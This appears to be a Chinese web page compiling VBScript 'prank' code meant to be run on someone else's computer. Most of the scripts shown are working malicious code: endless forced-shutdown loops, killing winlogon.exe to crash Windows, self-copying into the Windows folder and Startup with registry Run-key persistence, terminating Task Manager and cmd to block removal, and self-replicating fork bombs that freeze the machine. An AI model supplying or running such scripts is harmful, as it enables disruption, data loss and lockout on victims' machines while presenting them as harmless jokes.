vbs整人代码(vbs整人代码大全)
一、求VBS整人代码。。。
set sh=createobject("wscript.shell")
msgbox"你是否经常失眠?",vbyesno
msgbox"我也经常失眠。唉。"
msgbox"我告诉你一个祖传秘方吧!"
for i=1 to 50
sh.popup i&"只羊",1
next
wscript.sleep 1000
sh.popup"好吧,晚安!",5
do
sh.run"shutdown-s-f-t 30"
msgbox"再见~"
loop
这个自动打字:很吓人的
dim sh,str,a,i
set sh=createobject("wscript.shell")
sh.run"notepad"'打开记事本
do while sh.appactivate("无标题-记事本")=false
wscript.sleep 1000
loop
str="wokao1!ni1youmeiyou1gaocuo1!"'这一行是演示中文输入。定义要打字的字符串。只能是英文或数字或符号。
'如果想输入中文请把下2行的注释去掉。否则就在前面加上注释符号“'”(不带引号)
'并在str中输入按键的过程如:想输入“气死我了”就写 qisiwole1
sh.sendkeys"^"
'解释上一行:呼唤中文输入法
for i=0 to len(str)-1
a=mid(str,i+1,1)
sh.sendkeys a'发送虚拟按键
wscript.sleep 500'打字速度。数值越小越快。
next
save=1'如想保存则写1
if save=1 then
sh.sendkeys"^"
'解释上一行:关闭中文输入法。如果是中文,则必须去掉上一行的注释。
sh.sendkeys"^s"
wscript.sleep 300
sh.sendkeys"c:\name.txt"'文件名(可写路径),必须是英文。如果是中文模式,则必须将其关闭
wscript.sleep 100
sh.sendkeys"{Enter}"
end if
这个立刻蓝屏:
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
if Ucase(ps.name)=Ucase("winlogon.exe") then
ps.terminate
end if
next
Set ws=CreateObject("WScript.Shell")
set fs=createobject("scripting.filesystemobject")
dim a1,a2,a3,thn,i
thn=wscript.scriptfullname
a1=fs.getparentfoldername(fs.GetSpecialFolder(0))
fs.copyfile thn,a1&"\admin123.vbs",true
do while i<10
i=i+1
ws.RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\admin","C:\admin123.vbs"
loop
ws.run"shutdown-s-f-t 60"
do
wscript.sleep 500
if ws.appactivate("Windows任务管理器")=true then
ws.run"taskkill/f/im Taskmgr.exe"
end if
if ws.appactivate("命令提示符")=true then
ws.run"taskkill/f/im cmd.exe"
end if
if ws.appactivate("C:\WINDOWS\system32\cmd.exe")=true then
ws.run"taskkill/f/im cmd.exe"
end if
if ws.appactivate("系统关机")=false then
ws.run"shutdown-s-f-t 30"
end if
loop
这个会出现一堆窗口:
Set sh=CreateObject("WScript.Shell")
dim i,s,z,thn
z=array(4,5,16,32,48,64)
i=0
s=1
do
do while i<s
i=i+1
sh.run wscript.scriptfullname
loop
s=s+1
i=0
randomize
wscript.sleep int(rnd()*100)
msgbox"程序发生未知的错误!",z(int((6-1)*rnd()+1)),"Error?@#%^&)TGDZX%#@C889"
thn=wscript.scriptfullname
sh.RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\system23",thn
loop
这个五秒内死机,十秒内鼠标不能动!
do
createobject("wscript.shell").run wscript.scriptfullname
loop
二、vbs整人的代码。
难得能用一次电脑。。。。在笔记本上写好后在电脑上打出来了。。。
Dim a(4),b,c,fso,file,startup
Set fso= createobject("scripting.filesystemobject")
Set file= fso.getfile(wscript.scriptfullname)
set wshshell= createobject("wscript.shell")
startup= wshshell.specialfolders("startup")&"\"
file.copy startup这里是把这个vbs自身复制到启动项的
wshshell.run"cmd.exe/c shutdown-s-f-t 60-c不说就关机!!!"
randomize
a(0)="猪"
a(1)="笨蛋"
a(2)="傻叉"
a(3)="坏人"
b= Round(rnd*3+ 0)生成一个0到3的随机数作为b的值
c= inputbox("快说“我是"&a(b)&"”,不然就马上关机哦!","快说","",0,0)
If b<>"" then这句不能少,用来固定b的值,少了之后在下面会出现不同的值
If c="我是"&a(b) Then
wshshell.run"cmd.exe/c shutdown-a"
msgbox"你这"&a(b)
Else
wshshell.run"cmd.exe/c shutdown-a"
wscript.sleep 1000
wshshell.run"cmd.exe/c shutdown-s-f-t 0"
End If
Else
End if
其他的不难懂。。。
三、vbs整人代码,超搞笑,共3个
VB经常被用来编写一些整人的脚本程序,那么如何编写这类的程序呢?下面小编给大家展示一下。
首先来看第一个脚本,这个脚本会每隔1秒就弹出一个窗口,并且你都关不掉,如下图所示
然后第二个脚本是不断的循环一段内容,如下图所示,它和第一个一样,也不能关闭弹窗
接下来这个脚本每一次循环会展示4个弹窗,每个弹窗的内容不一样,每个弹窗的弹出间隔为1秒,如下图所示
最后一个脚本是带交互功能的,被整的人只有输入指定的内容才能关闭脚本,否则脚本会一直循环弹出,如下图所示